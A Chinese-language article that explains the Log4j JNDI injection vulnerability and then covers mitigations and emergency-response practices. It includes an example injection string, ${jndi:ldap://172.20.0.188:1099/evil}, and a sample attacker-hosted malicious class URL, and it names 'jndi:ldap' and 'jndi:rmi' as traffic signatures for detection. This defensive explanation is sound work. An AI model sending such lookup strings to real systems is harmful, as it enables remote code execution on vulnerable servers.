信息安全-史诗级漏洞Log4j的漏洞机理和防范措施

最近各位研发同学肯定是被log4j的漏洞坑惨了，凌晨2点接连起来修复漏洞。而且一个版本修复完了，又接连爆出2.15，2.16的漏洞绕过，又要升到2.17的版本。烦、烦、烦。

经历过，我们得搞懂log4j到底是什么漏洞，这个漏洞到底是怎么被利用的，会造成什么样的后果。

log4j漏洞机理大致分成两种，话不多说，上图；

1.利用log4j触发Ldap、并利用ldap查找原理攻击路径

2.利用log4j触发RMI的攻击路径

我们平时记录日志：logger.inf("this is a log content")；这样在日志文件中会记录this is a log content。

        但是log4j对一些特殊的，如：logger.info(${jndi:ldap://172.20.0.188:1099/evil});，log4j2将会对这行要输出的字符串进行解析，它发现了字符串中有 ${，要单独处理，发现是JNDI扩展内容.

        再对JNDI进一步解析，发现了是LDAP协议,LDAP服务器在172.20.0.188:1099，要查找的key是evil，然后调用具体负责LDAP的模块去请求对应的数据。问题来了！JNDI支持一个叫命名引用的方式，也就是JNDI可以远程下载class文件来构建对象！！！下载后加载起来构建对象，咱就是一整个震惊住的那么一个大动作啊.

        如果远程下载的URL指向的是一个黑客的服务器(http://172.20.0.188:80/excute.class)，并且下载的class文件里面藏有恶意代码，那歇逼了，什么样的后果都可能出现，这是JNDI注入。

防护和解决

1、检查代码，及时升级到安全的版本，本次漏洞还涉及众多Apache开源项目，这部分也应该及时更新，采用最新版本2.17.0。

2、恶意流量中可能存在jndi:ladp:// jdni:rmi，IDS和WAF可以编写相应规则从流量中签出攻击流量；

3、添加jvm启动参数-Dlog4j2.formatMsgNoLookups=true

4、修改配置文件log4j2.formatMsgNoLookups=True

5、修改环境变量FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true

6、关闭不必要的外网请求；

7、禁用lookup或JNDI服务；

8、jdk升级到最新的版本；

从log4j漏洞思考应急响应能力的建设

1.开源组件引入规范：考虑统一log4j等开源组件的版本，我们只需要引入几个常用版本，经过安全检测后存到公司maven私服库供研发使用，其他未经验证的版本一律不许引进；若需要引用私服没有的考虑走审批、经安全验证后进入maven私服库；

2.开发模型：所有组件包的应用采用java依赖管理的方式，组件依赖采用定级pom导入；每次升级组件只需要升级顶级pom，其他使用到组件的程序只需要重新编译拉取最新的包即可完成组件升级，不需要更改代码中的pom；

3.CICD部署平台侧：对所有程序的部署和启动，平台侧都需要有管控响应能力；比如：java程序的shell启动脚本必须在CICD部署平台上部分平台化，通过CICD平台能统一修改启动命令和完成重启操作，让平台拥有快速响应能力；

4.资产平台侧：需要明确哪些应用具有外网访问权限，这些应用都使用哪些开源组件，对应的开源组件的版本是什么。通过资产平台能快速定位现存应用的风险状态；

5.代码检测平台：时刻匹配cve中开源组件中的漏洞版本与现有版本，并能产生告警及触发告警处置流程；

6.从零信任角度考虑，零信任平台在log4j漏洞中能发挥的作用：借助于零信任只信任白名单的模型，所有从公司内网调用外部接口的需求都需要在零信任平台备案，若发现非信任的调用链，立即触发报警；